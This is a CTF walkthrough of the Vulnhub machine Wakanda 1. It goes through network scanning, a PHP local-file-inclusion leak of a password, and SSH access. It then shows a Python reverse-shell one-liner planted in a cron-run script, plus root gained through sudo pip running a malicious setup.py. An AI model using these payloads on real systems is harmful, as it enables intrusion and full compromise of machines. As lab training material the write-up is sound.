To the lands of Wakanda 1
Breaching the bearier of Wakanda

Wakanda Meme

I created a new ToDo-List for CTF VM’s from Vulnhub, you see it here:

So I solved Wakanda 1 and I want to share with you my walkthrough. Let’s start!

Information

It’s a Linux machine, the level to beat it is intermediate. There are 3 flags to retrieve, flag1.txt, flag2.txt and root.txt.

No more info is given, just that the machine assigns it’s IP via DHCP. So, let’s follow the path.

Machine is created by @xMagass

First contact

We need to get known which IP has been assigned to the box, for that we can simply use ARP. Let’s fire up arp-scan:

[email protected]:~# arp-scan -I eth1 --localnet
Interface: eth1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.20.20.1	00:50:56:c0:00:02	VMware, Inc.
10.20.20.128	00:0c:29:58:df:e5	VMware, Inc.
10.20.20.254	00:50:56:f6:0e:cd	VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.292 seconds (111.69 hosts/sec). 3 responded

This simply requests all IP addresses for the network which is assigned to the interface eth1. We see that the box has the IP 10.20.20.128, as the other IP’s are system IP’s inside of the internal VMWare Workstation network.

Scan it:

[email protected]:~# nmap -A -T5 -p- 10.20.20.128
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-15 19:29 CEST
Nmap scan report for 10.20.20.128
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          56610/udp  status
|_  100024  1          58518/tcp  status
3333/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
|   2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
|   256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_  256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
58518/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:58:DF:E5 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 10.20.20.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.87 seconds

Out of curiosity, let’s focus on the HTTP port.

It shows us that:

img

No links are working. A bit dirbusting didn’t show interesting files or directories. But when looking at the HTML source code I found that: <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->. An anchor link with wrong ending tag, showing us an interesting detail: it looks like a variable is beeing used to show language dependent content. With dirbusting I found the file fr.php, so what I’m thinking is that if just includes a file and appends .php to it. The GET variable flag could be vulnerable to LFI, here you find a nice tutorial about it.

Getting in

So we might found our first rabbit hole to jump in. Take a breath and then process further!

Information gathering through LFI

Through LFI we might be able to include a file which is not intended to be included. As it looks like it just includes a file via include($_GET['lang'].'.php'); we should be able to include every PHP file. Just PHP files. Why? Because it always adds .php at the end. When simply doing ?lang=index it will fail because there would be an infinite loop in including index.php. But there is another technique, via php://filter. This runs directly a PHP I/O and processes it through the filter library. So let’s test:

We are getting the content as base64 because we don’t want the PHP code to be parsed by the interpreter. Decoding it gives us:

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>


    <link href="bootstrap.css" rel="stylesheet">

    
    <link href="cover.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>

            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>

      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>



  

</body></html>

There is a password given. If you look also at the footer of the site we also mention a name: mamadou.

Getting flag1.txt

Looking back to the NMAP scan we see also an open SSH port there. Let’s try these credentials: mamadou:Niamey4Ever227!!!.

[email protected]:~/vulnhub/wakanda# ssh -p 3333 [email protected]
[email protected]'s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug  3 15:53:29 2018 from 192.168.56.1
Python 2.7.9 (default, Jun 29 2016, 13:08:31) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 

Oh nice, Python as shell. We can easily escape that “jail” with import pty; pty.spawn("/bin/sh"). Basic enumeration and obtaining the first flag:

$ ls -al
total 24
drwxr-xr-x 2 mamadou mamadou 4096 Aug  5 02:24 .
drwxr-xr-x 4 root    root    4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root    root       9 Aug  5 02:24 .bash_history -> /dev/null
-rw-r--r-- 1 mamadou mamadou  220 Aug  1 13:15 .bash_logout
-rw-r--r-- 1 mamadou mamadou 3515 Aug  1 13:15 .bashrc
-rw-r--r-- 1 mamadou mamadou   41 Aug  1 15:52 flag1.txt
-rw-r--r-- 1 mamadou mamadou  675 Aug  1 13:15 .profile
$ cat flag1.txt

Flag : d86b9ad71ca887f4dd1dac86ba1c4dfc
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
avahi-autoipd:x:107:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
mamadou:x:1000:1000:Mamadou,,,,Developper:/home/mamadou:/usr/bin/python
devops:x:1001:1002:,,,:/home/devops:/bin/bash
$ sudo -l
[sudo] password for mamadou: 
Sorry, user mamadou may not run sudo on Wakanda1.

We obtained our first flag, also we see that there is another user: devops. User mamadou is not allowed to run any sudo commands *sigh*.

Obtain flag2.txt

I bet we have to gain access to the system as devops. Let’s find files which are owned by this user:

$ find / -user devops 2>/dev/null
/srv/.antivirus.py
/tmp/test
/home/devops
/home/devops/.bashrc
/home/devops/.profile
/home/devops/.bash_logout
/home/devops/flag2.txt
$ find / -user devops -writable 2>/dev/null
/srv/.antivirus.py

First command shows which files are owned by user devops. The second one shows which are owned by the user and which are writeable by the current user. 2>/dev/null suppresses any error, like “Permission denied”.

$ cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

This looks like it’s periodically executed (as of my experience from CTF boxes). Building a reverse shell with it: (I checked if nc is installed and if it allows the parameter -e)

$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.20.138",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /srv/.antivirus.py

Listen to it: nc -lvnp 4444 (on your local machine). And then wait… (mostly ~15min, maybe it is really a cronjob. If not :sob:)

listening on [any] 4444 ...
connect to [10.20.20.138] from (UNKNOWN) [10.20.20.128] 41727
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(devops) gid=1002(developer) groups=1002(developer)
$ ls -al /home/devops
total 24
drwxr-xr-x 2 devops developer 4096 Aug  5 02:25 .
drwxr-xr-x 4 root   root      4096 Aug  1 15:23 ..
lrwxrwxrwx 1 root   root         9 Aug  5 02:25 .bash_history -> /dev/null
-rw-r--r-- 1 devops developer  220 Aug  1 15:23 .bash_logout
-rw-r--r-- 1 devops developer 3515 Aug  1 15:23 .bashrc
-rw-r----- 1 devops developer   42 Aug  1 15:57 flag2.txt
-rw-r--r-- 1 devops developer  675 Aug  1 15:23 .profile
$ cat /home/devops/flag2.txt
Flag 2 : d8ce56398c88e1b4d9e5f83e64c79098
$ sudo -l
Matching Defaults entries for devops on Wakanda1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User devops may run the following commands on Wakanda1:
    (ALL) NOPASSWD: /usr/bin/pip

Yay, it worked! We have our 2nd flag. Move on!

r00ted, flag root.txt

We see that devops is allowed to run /usr/bin/pip with no password, that would be the only command we could run as we don’t know the password of the user.

And this took me a long time to find any useful information about it. Googling “pip privilege escalation” brought me to nothing. Finally “sudo pip exploit” brought me the Github repo FakePip.

(Yes, I know I was lazy. I could have also read about pip and how it processes files and thinking of writing my own exploit. But meh, you know… :sleepy:)

There we see that a “malicious” (let’s call it that way) setup.py is being processed by pip. This will run also commands inside of setup.py.

Just change the IP in the file.

Then run it after listening to port 443 via nc:

==[ On local machine ]=========

[email protected]:~/vulnhub/wakanda# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

==[ On remote machine ]=========

$ sudo /usr/bin/pip install . --upgrade --force-reinstall
Unpacking /home/devops
  Running setup.py (path:/tmp/pip-gDsHVR-build/setup.py) egg_info for package from file:///home/devops
    
Installing collected packages: FakePip
  Running setup.py install for FakePip
    
==[ In our nc on port 443 ]=========

listening on [any] 443 ...
connect to [10.20.20.138] from (UNKNOWN) [10.20.20.128] 58485
[email protected]:/tmp/pip-gDsHVR-build# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/tmp/pip-gDsHVR-build# cd /root
cd /root
[email protected]:~# ls -al
ls -al
total 20
drwx------  2 root root 4096 Aug  5 02:26 .
drwxr-xr-x 22 root root 4096 Aug  1 13:05 ..
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r-----  1 root root  429 Aug  1 15:16 root.txt
[email protected]:~# cat root.txt
cat root.txt
 _    _.--.____.--._
( )=.-":;:;:;;':;:;:;"-._
 \\\:;:;:;:;:;;:;::;:;:;:\
  \\\:;:;:;:;:;;:;:;:;:;:;\
   \\\:;::;:;:;:;:;::;:;:;:\
    \\\:;:;:;:;:;;:;::;:;:;:\
     \\\:;::;:;:;:;:;::;:;:;:\
      \\\;;:;:_:--:_:_:--:_;:;\
       \\\_.-"             "-._\
        \\
         \\
          \\
           \\ Wakanda 1 - by @xMagass
            \\
             \\


Congratulations You are Root!

821ae63dbe0c573eff8b69d451fb21bc

[email protected]:~# 

We have the last flag! This worked because pip has been run with sudo privileges. Then the code in setup.py has been processed, there was a reverse shell included. Connecting back to our local VM with running /bin/sh. This created a shell environment for us.

Conclusion

The machine was a nice and short trip. Gaining access as user was not that hard, but finding the way to exploit pip was fun. I knew that pip runs setup routines, but not how to abuse them.

Nice work @xMagass! Looking forward to your next boxes! :smile:

*****
Written by wirehack7 on 15 August 2018